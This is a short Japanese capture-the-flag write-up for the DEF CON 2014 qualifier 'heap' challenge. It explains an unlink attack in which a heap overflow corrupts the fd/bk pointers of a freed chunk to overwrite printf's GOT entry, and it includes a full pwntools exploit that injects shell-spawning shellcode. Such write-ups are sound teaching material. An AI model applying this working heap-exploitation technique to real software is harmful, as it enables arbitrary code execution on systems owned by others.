Rating:

### 問題
https://github.com/ctfs/write-ups-2014/blob/master/def-con-ctf-qualifier-2014/heap/README.md

### 解法
 unlink attackを使った問題。10個目に確保したchunkは260バイトだが、オバーフローの脆弱性により11個目以下ののchunkにも任意の値を書き込める。10個目のchunkを以下のように調整して9個目のchunkがfreeされたときにprintf()のgotを書き換えるようにする。

```text
chunk[10] ---> +-----------+
| size |
+-----------+ +----------------+
| fd | ---> |printf_got-8 |
+-----------+ +----------------+
+--- | bk | |printf_got-4 |
| +-----------+ +----------------+
+--> | jmp 0x8 | |printf_got |
+-----------+ +----------------+
| "A" * 10 |
+-----------+
| shellcode |
+-----------+
| padding |
chunk[11] ---> +-----------+
| 0(freed) |
+-----------+
```

 この問題ではfreeとmallocは独自実装になっている。exploitコードは以下のようになる。

```py3:exploit.py
from pwn import *
from re import findall
import sys

context(arch='i386', os='linux')
printf_got = 0x804c004

if sys.argv[1] == 'r':
r = remote('localhost', 5000)
elif sys.argv[1] == 'l':
r = process('./heap')

# get array[10] addr
msg = r.recvuntil("Write to object [size=260]:").decode('utf-8')
log.info(msg)
array_10_addr = int(findall("loc=(\w+)", msg)[10], 16)

# build payload
payload = p32(printf_got - 8) # fd
payload += p32(array_10_addr + 8) # bk
payload += b"\xeb\x08" + b"A" * 8 + asm(shellcraft.sh()) # shellcode
payload += b"A" * (260 - len(payload)) # padding
payload += p32(0) # size | prev_used_flag

# debug
with open('payload', 'bw') as f:
f.write(payload)

r.sendline(payload)
log.info(r.recv().decode('utf-8'))
r.interactive()
r.close()
```